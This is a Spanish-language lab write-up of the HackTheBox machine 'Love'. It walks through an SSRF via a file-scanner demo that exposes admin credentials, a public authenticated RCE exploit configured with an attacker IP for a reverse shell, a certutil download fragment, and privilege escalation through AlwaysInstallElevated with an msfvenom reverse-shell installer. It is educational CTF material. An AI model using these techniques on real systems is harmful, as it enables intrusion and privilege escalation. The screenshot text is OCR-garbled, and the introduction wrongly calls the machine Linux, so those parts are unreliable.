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1. Introduccidon

En este documento se recogen los pasos a seguir para la resolucion de la maquina Love
de la plataforma HackTheBox. Se trata de una maquina Linux de 64 bits, que posee
una dificultad facil de resolucion segin la plataforma.

Para comenzar a atacar la maquina se debe estar conectado a la VPN de HackTheBox
o0, si se cuenta con un usuario VIP, lanzar una instancia de la maquina ofensiva que
nos ofrece la plataforma. Después, hay que desplegar la maquina en cuestién y, una vez
desplegada, se mostrara la IP que tiene asignada y se podra empezar a atacar.
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2. Enumeracion de servicios y recopilacion de in-
formacion sensible

Para comenzar, realizo un escaneo de todo el rango de puertos TCP mediante la he-
rramienta Nmap.
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Figura 1: Escaneo de todo el rango de puertos TCP

En la figura 1 se puede observar los puertos que la maquina tiene abiertos. Después,
aplico scripts basicos de enumeracion y utilizo la flag -sV para intentar conocer la
version y servicio que estan ejecutando cada uno de los puertos que he detectado
abiertos (Figura 2).
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Figura 2: Enumeracion de los puertos abiertos

En este segundo escaneo Nmap consigue, a través del certificado SSL que utiliza el
servicio HTTPS, enumerar el subdominio “staging.love.htb”. Con esta informacion,
procedo a anadir el dominio principal y subdominio a mi fichero local “/etc/hosts”, tal
y como se observa en la figura 3.

Figura 3: Dominio anadido al fichero “/etc/hosts”

Una vez anadidos los dominios, paso a enumerar el contenido web de cada uno de ellos
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mediante un navegador. Al acceder al dominio mediante el servicio HTTPS me salta
un error “403 Forbidden”, por lo que pruebo el acceso mediante el servicio HT'TP y
observo la pagina que se muestra en la figura 4, que corresponde a una pagina de login,
aunque en estos momentos atin no dispongo de credenciales de ningin tipo.

© & lovehtb

¢ B5Cipher B3 Python B Utilities

Voting System

Sign in to start your session

Figura 4: Pagina de login del dominio principal “love.htb”

Por otro lado, también compruebo el contenido del subdominio “staging.love.htb”.
Nuevamente, me da el error 403 al acceder mediante HTTPS, por lo que vuelvo a
hacerlo mediante HT'TP. En la figura 5 se puede ver el contenido de la pagina web, que
parece tratarse de un escaner para detectar malware en archivos.

© /4 staging.love.htb

sc B3 Cipher B Python B3 Utilities

me  Demo

Free Fil e Signuptoday

Scanner

Figura 5: Pagina web del subdominio “staging.love.htb”
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Pruebo a registrarme a través de los campos que aparecen, pero compruebo que no
es funcional. Por lo que paso a la pestana “Demo”, en la que aparece una barra de
busqueda en la que hay que introducir la URL del archivo que se quiere escanear, tal
y como se muestra en la figura 6.

© 4 staging.love.htb/beta.php

sc E5 Cipher B9 Python B3 Utilities

me Demo

Specify the file url:

Enter the url of the file to scan

Figura 6: Demo del escaner de archivos

Con la informacién recopilada, no tengo forma de avanzar en la resolucién de la maqui-
na, ya que no dispongo de credenciales ni he conseguido enumerar ningin servicio
critico. Por tanto, pruebo a enumerar otro servicio HT'TP detectado en el puerto 5000
durante la primera fase de reconocimiento. Pero, al intentar acceder a este servicio, me
encuentro de nuevo con un error “403 Forbidden”.

&« c @ © 4 love.htb:5000

Exploit-DB || MSFU E3 PrivEsc E3 Cipher E5 Python B3 Utilities
L]
Forbidden

You don't have permission to access this resource.

Apache/2.4.46 (Win64) OpenSSL/1.1.1j PHP/7.3.27 Server at love hth Port 5000

Figura 7: Error 403 en el servicio HT'TP del puerto 5000

En este punto, se me ocurre utilizar el buscador de URLs del servicio de escaneo de
archivos enumerado anteriormente, para acceder de forma local al servicio HT'TP del
puerto 5000, ya que puede contar con algin tipo de regla que permita el acceso a redes
internas, pero no externas. Al introducir la URL (http://localhost:5000), se me muestra
el contenido web, que consiste en un panel en el que se muestran las credenciales del
usuario “admin”, tal y como se muestra en la figura 8.
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Specify the file url:

Enter the url of the file to scan

Password Dashboard Home Demo

Voting system Administration °

Vote Admin Creds admin: @LovelsinTheAir!!!!

Figura 8: Contenido del servicio HTTP del puerto 5000

Con las credenciales obtenidas, pruebo a acceder desde el portal de login que hemos
visualizado anteriormente, pero me salta un error de credenciales incorrectas, tal y
como se observa en la figura 9.

Voting System

Sign in to start your session
Voter's ID 2

Password &

# Sign In

Cannot find voter with the ID

Figura 9: Error de credenciales incorrectas en el panel login de “love.htb”
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En este punto me encontré un poco perdido, ya que intenté enumerar algin otro servicio
como SMB o MySQL sin obtener ningiin resultado. Tras esto, se me ocurrié probar
una buisqueda de directorios y/o ficheros en el servidor web con Gobuster, para ver
si encontraba algo que me podia ser de utilidad. El resultado obtenido se muestra en
la figura 10.

Figura 10: Fuzzing con Gobuster sobre el directorio raiz del servidor web
De estas rutas obtenidas, la que mas me llama la atencién es la de “admin”, por lo que

pruebo a acceder y, para mi sorpresa, encuentro un panel login idéntico al de “love.htb”,
tal y como se puede ver en la figura 11.

© /% love.htb/

sc 5 Cipher B3 Python E3 Utilities

Voting System

sign in to start your session

Figura 11: Pagina “admin” del servidor web
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De nuevo, pruebo a intentar acceder utilizando las credenciales obtenidas anteriormen-
te, consiguiendo acceder con éxito al panel de administrador, tal y como se muestra en
la figura 12.

< c @
Exploit-DB | MSFU £ Priv

VotingSystem User Neovic Devierte|

image

Neovic Devierte Dashboard

0 1 0

No. of Positions No. of Candidates Total Voters. Voters Voted

Moreinfo® Moreinfo® More info®

Votes Tally

Copyright © 2018 SourceCodester Allrights reserved

Figura 12: Panel de administrador de la plataforma Voting System
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3. Acceso a la maquina

Una vez dentro de la plataforma, intento buscar formas de subir algtin archivo PHP o
similar para poder obtener ejecuciéon de comandos en la maquina victima. Pero, al no
obtener resultado, pruebo a buscar la plataforma en SearchSploit para comprobar si
existe algin exploit.

lotation

Figura 13: Busqueda de exploits para la plataforma web Voting System

Como se observa en la figura 13, hay varios exploits que afectan a la plataforma web
utilizada. En este caso, me quedo con el exploit en Python que permite una Ejecucién
Remota de Cédigo (RCE) estando autenticado en la plataforma. Antes de proceder a
la ejecucion de este exploit, se deben modificar en el codigo los valores que se muestran
en la figura 14.

ir setti
.10.10.239"
= "admin" #Auth userr
= "@lLoveIsInTheAi
10.10.14.75" #

header( 'Content-type: text/plain’'};
$ip = "IIPP";
$port = "PPODRRTT";

Figura 14: Valores a modificar en el exploit de Python
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Una vez modificado el exploit, me pongo a la escucha por el puerto definido y ejecuto
el exploit obteniendo una conexién en mi méaquina de atacante, tal y como se observa
en la figura 15.

root@offsec)-[ /home/j0lm3d0/Documentos, /HTE/Love/explotation

'hon3 voting

yve and run. ..

root@ offsec /Love/explotation

" |_: | L - ]_ '._.' |

Figura 15: Obtencién de shell en méquina atacante

Con la shell obtenida, ya puedo acceder al directorio del usuario no privilegiado Phoebe
y visualizar la flag.

Figura 16: Flag de usuario no privilegiado
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4. Escalada de privilegios

Para la escalada de privilegios en este sistema Windows, he transferido el ejecutable
de WinPEAS a la maquina victima y lo he ejecutado. Tras revisar los resultados
arrojados, uno de los mas interesantes y que el propio script te refleja en color rojo es
el que se refleja en la figura 17.

Checking AlwaysInstallElevated
ook . hacktricks.xyz/windows /windows-local-privilege-escalation#alwaysinstallelevated

Elevated set to 1 in HKLM
2 set to 1 in HKCU

Figura 17: Agujero de seguridad descubierto por el script WinPEAS

La politica “AlwaysInstallElevated” se encuentra habilitada en el registro de Windows,
una configuracién que puede explotarse para escalar privilegios. Los pasos a seguir se
reflejan en este articulo. Lo primero a realizar es crear un ejecutable malicioso en
formato .msi que se encargard de enviar una shell como usuario Administrador a mi
maquina de atacante. Este ejecutable lo he creado mediante la utilidad MSF Venom,
tal y como se observa en la figura 18.

Figura 18: Creacion del ejecutable .msi malicioso

Una vez creado el ejecutable, lo transfiero a la maquina, me pongo a la escucha por
el puerto definido al crear el fichero y lo ejecuto con las flags “/quiet”, “/i” y “/qn”,
obteniendo asi una conexién en mi maquina de atacante y pudiendo visualizar la flag
final, tal y como se muestra en la figura 19.
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rertutil -urlcache
certutil —url
Online

CertUtil: -URLCache command completed s

Figura 19: Obtenemos una shell con privilegios de “root” y visualizamos la flag
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